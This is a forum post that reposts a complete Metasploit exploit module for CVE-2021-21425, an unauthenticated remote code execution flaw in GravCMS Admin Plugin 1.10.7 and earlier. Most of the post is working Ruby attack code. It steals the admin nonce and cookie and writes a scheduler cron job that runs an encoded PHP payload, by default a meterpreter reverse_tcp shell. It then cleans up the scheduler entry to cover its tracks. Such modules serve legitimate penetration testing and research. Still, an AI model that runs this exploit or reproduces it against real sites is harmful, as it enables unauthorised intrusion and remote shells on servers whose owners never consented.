GravCMS 1.10.7 Remote Command Execution

#195
Topic created · 1 Posts · 1 Views
  • This Metasploit module exploits an arbitrary config write/update vulnerability to achieve remote code execution. Unauthenticated users can execute a terminal command under the context of the web server user. Grav Admin Plugin is an HTML user interface that provides a way to configure Grav and create and modify pages. In versions 1.10.7 and earlier, an unauthenticated user can execute some methods of the administrator controller without needing any credentials. Particular method execution will result in arbitrary YAML file creation or content change of existing YAML files on the system. Successfully exploitation of that vulnerability results in configuration changes, such as general site information change, custom scheduler job definition, etc. Due to the nature of the vulnerability, an adversary can change some part of the webpage, or hijack an administrator account, or execute operating system commands under the context of the web-server user.
    MD5 | 63383ada747fab87a6ca9244ce96bf27
    Download

    ##  
    # This module requires Metasploit: https://metasploit.com/download  
    # Current source: https://github.com/rapid7/metasploit-framework  
    ##  
    class MetasploitModule < Msf::Exploit::Remote  
    Rank = NormalRanking  
    include Msf::Exploit::Remote::HttpClient  
    prepend Msf::Exploit::Remote::AutoCheck  
    def initialize(info = {})  
    super(  
    update_info(  
    info,  
    'Name' => 'GravCMS Remote Command Execution',  
    'Description' => %q{  
    This module exploits arbitrary config write/update vulnerability to achieve remote code execution.  
    Unauthenticated users can execute a terminal command under the context of the web server user.  
    Grav Admin Plugin is an HTML user interface that provides a way to configure Grav and create and modify pages.  
    In versions 1.10.7 and earlier, an unauthenticated user can execute some methods of administrator controller without  
    needing any credentials. Particular method execution will result in arbitrary YAML file creation or content change of  
    existing YAML files on the system. Successfully exploitation of that vulnerability results in configuration changes,  
    such as general site information change, custom scheduler job definition, etc. Due to the nature of the vulnerability,  
    an adversary can change some part of the webpage, or hijack an administrator account, or execute operating system command  
    under the context of the web-server user.  
    },  
    'License' => MSF_LICENSE,  
    'Author' =>  
    [  
    'Mehmet Ince <[[email protected]](/cdn-cgi/l/email-protection)>' # author & msf module  
    ],  
    'References' =>  
    [  
    ['CVE', '2021-21425'],  
    ['URL', 'https://pentest.blog/unexpected-journey-7-gravcms-unauthenticated-arbitrary-yaml-write-update-leads-to-code-execution/']  
    ],  
    'Privileged' => true,  
    'Platform' => ['php'],  
    'Arch' => ARCH_PHP,  
    'DefaultOptions' =>  
    {  
    'payload' => 'php/meterpreter/reverse_tcp',  
    'Encoder' => 'php/base64',  
    'WfsDelay' => 90  
    },  
    'Targets' => [ ['Automatic', {}] ],  
    'DisclosureDate' => '2021-03-29',  
    'DefaultTarget' => 0,  
    'Notes' => {  
    'Stability' => [CRASH_SAFE],  
    'Reliability' => [REPEATABLE_SESSION],  
    'SideEffects' => [  
    CONFIG_CHANGES # user/config/scheduler.yaml  
    ]  
    }  
    )  
    )  
    register_options([  
    OptString.new('TARGETURI', [true, 'The base path', '/'])  
    ])  
    end  
    def check  
    # During the fix, developers changed admin-nonce to login-nonce.  
    res = send_request_cgi(  
    'method' => 'GET',  
    'uri' => normalize_uri(target_uri.path, 'admin')  
    )  
    if res && res.get_hidden_inputs.first&.fetch('admin-nonce')  
    CheckCode::Appears  
    else  
    CheckCode::Safe  
    end  
    end  
    def capture_cookie_token  
    print_status 'Sending request to the admin path to generate cookie and token'  
    res = send_request_cgi(  
    'method' => 'GET',  
    'uri' => normalize_uri(target_uri.path, 'admin')  
    )  
    # Cookie must contain grav-site-az09-admin and admin-nonce form field must contain value  
    if res && res.get_cookies =~ /grav-site-[a-z0-9]+-admin=(\S*);/ && res.get_hidden_inputs.first&.fetch('admin-nonce')  
    print_good 'Cookie and CSRF token successfully extracted !'  
    else  
    fail_with Failure::UnexpectedReply, 'The server sent a response, but cookie and token was not found.'  
    end  
    @cookie = res.get_cookies  
    @admin_nonce = res.get_hidden_inputs.first['admin-nonce']  
    end  
    def exploit  
    capture_cookie_token  
    @task_name = Rex::Text.rand_text_alpha_lower(5)  
    # Msf PHP payload does not contain quotes for many good reasons. But a single quote will surround PHP binary's  
    # parameter due to the command execution library of the GravCMS. For that reason, surrounding base64 part of the  
    # payload with a double quote is necessary to command executed successfully.  
    payload.encoded.sub! 'base64_decode(', 'base64_decode("'  
    payload.encoded.sub! '));', '"));'  
    print_status 'Implanting payload via scheduler feature'  
    res = send_request_cgi(  
    'method' => 'POST',  
    'uri' => normalize_uri(target_uri.path, 'admin', 'config', 'scheduler'),  
    'cookie' => @cookie,  
    'vars_post' => {  
    'admin-nonce' => @admin_nonce,  
    'task' => 'SaveDefault',  
    "data[custom_jobs][#{@task_name}][command]" => '/usr/bin/php',  
    "data[custom_jobs][#{@task_name}][args]" => "-r #{payload.encoded}",  
    "data[custom_jobs][#{@task_name}][at]" => '* * * * *',  
    "data[custom_jobs][#{@task_name}][output]" => '',  
    "data[status][#{@task_name}]" => 'enabled',  
    "data[custom_jobs][#{@task_name}][output_mode]" => 'append'  
    }  
    )  
    if res && res.code == 200 && res.body.include?('Successfully saved')  
    print_good "Scheduler successfully created ! Wait up to #{wfs_delay} seconds"  
    end  
    end  
    def on_new_session(_session)  
    print_status 'Cleaning up the the scheduler...'  
    # Thanks to the YAML update method, we can remove the command details from the config file just by re-enabling  
    # the scheduler without any parameter:) It will leave the only command name in the config file.  
    res = send_request_cgi(  
    'method' => 'POST',  
    'uri' => normalize_uri(target_uri.path, 'admin', 'config', 'scheduler'),  
    'cookie' => @cookie,  
    'vars_post' => {  
    'admin-nonce' => @admin_nonce,  
    'task' => 'SaveDefault',  
    "data[status][#{@task_name}]" => 'enabled'  
    }  
    )  
    if res && res.code == 200 && res.body.include?('Successfully saved')  
    print_good 'The scheduler config successfully cleaned up!'  
    end  
    end  
    end  
    

    Source: packetstormsecurity.com

Log in to reply